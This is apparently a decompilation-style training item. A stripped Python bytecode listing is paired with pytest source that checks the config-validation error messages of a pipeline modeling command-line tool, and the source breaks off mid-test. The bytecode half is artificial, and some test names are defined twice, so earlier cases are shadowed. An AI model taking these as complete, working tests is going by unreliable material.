output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0:10\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by out port: 10' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:3\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by in port: 3' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Src by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Node1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 in Pipeline: PL1 has dangling input by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n edges:\n - from: \'Src\'\n to: \'Node:0\'\n - from: \'Node:0\'\n to: \'Node:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:0\'\n - from: \'Node0:0\'\n to: \'Node1:0\'\n - from: \'Node1\'\n to: \'Node0:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --load_config=not_existing.yml' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to load config: not_existing.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported PLMode: unknown\nPlease chose between: streaming and regular' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --app_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported AppMode: unknown\nPlease chose between: realtime and benchmark' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=streaming --drop_frames' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST '--drop_frames option is supported only for pipelines in "regular" mode' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n call_every_nth: {}" ' STORE_FAST cfg_file LOAD_CONST 'Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}' STORE_DEREF error LOAD_CLOSURE error BUILD_TUPLE LOAD_CONST <code object check at 0x7fab54331ed0, file "f.py", line 985> LOAD_CONST 'test_incorrect_call_every_nth.<locals>.check' MAKE_FUNCTION STORE_FAST check LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST -3 CALL_FUNCTION POP_TOP LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_output LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_DEREF error LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,1]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST "Failed: Pipeline PL1 doesn't have stop criterion!" CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import os import subprocess pipeline_modeling_tool = os.getenv("PIPELINE_MODELING_TOOL") def get_output(exec_str): try: out = ( subprocess.check_output(exec_str, stderr=subprocess.STDOUT, shell=True) .strip() .decode() ) except subprocess.CalledProcessError as exc: out = exc.output.strip().decode() return out def test_error_no_config_specified(): out = get_output(pipeline_modeling_tool) assert out.startswith("Config must be specified via --cfg option") def test_error_no_config_exists(): cfg_file = "not_existing_cfg.yml" exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert "Failed to open config file: not_existing_cfg.yml" in out def test_error_work_time_not_positive(): cfg_file = """\"%YAML:1.0 work_time: -1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("work_time must be positive") def test_error_no_pipelines(): cfg_file = """\"%YAML:1.0 work_time: 1000\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Config must contain field: Pipelines") def test_error_pipelines_node_not_map(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines field must be a map") def test_error_config_not_contain_pl(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1:\" """ exec_str = "{} --cfg={} --exec_list=PL2".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines must contain field: PL2") def test_error_no_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: queue_capacity: 1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: source") def test_error_source_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: name") def test_error_source_no_latency(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: latency") def test_error_source_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: output") def test_error_source_output_no_dims(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: dims") def test_error_source_output_no_precision(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4]\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: precision") def test_error_no_nodes(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: nodes") def test_error_nodes_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("nodes in PL1 must be a sequence") def test_error_node_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: name") def test_error_node_no_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: type") def test_error_node_unknown_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Unknown'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Unsupported node type: Unknown") def test_error_node_dummy_no_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: time") def test_error_node_dummy_not_positive_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: -0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 time must be positive") def test_error_node_dummy_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output") def test_error_node_infer_no_model_path(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) error_msg = """Path to OpenVINO model must be specified in either of two formats: 1. xml: path to *.xml bin: path to *.bin 2. blob: path to *.blob""" assert out.startswith(error_msg) def test_error_node_infer_no_input_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: input_layers") def test_error_node_infer_input_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: \" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("input_layers in Node0 must be a sequence") def test_error_node_infer_no_output_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output_layers") def test_error_node_infer_output_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name' output_layers:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output_layers in Node0 must be a sequence") def test_error_no_edges(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: edges") def test_error_edges_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edges in PL1 must be a sequence") def test_error_edges_no_from(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: from") def test_error_edges_no_to(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: to") def test_error_edges_from_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node1' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node1") def test_error_edges_from_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0:10' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by out port: 10") def test_error_edges_to_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node2") def test_error_edges_to_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:3'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by in port: 3") def test_error_connect_to_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Src by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_node_has_dangling_input(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Node1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Node: Node0 in Pipeline: PL1 has dangling input by in port: 0" ) def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' edges: - from: 'Src' to: 'Node:0' - from: 'Node:0' to: 'Node:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:0' - from: 'Node0:0' to: 'Node1:0' - from: 'Node1' to: 'Node0:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_no_load_config_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --load_config=not_existing.yml".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert "Failed to load config: not_existing.yml" in out def test_error_invalid_app_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: 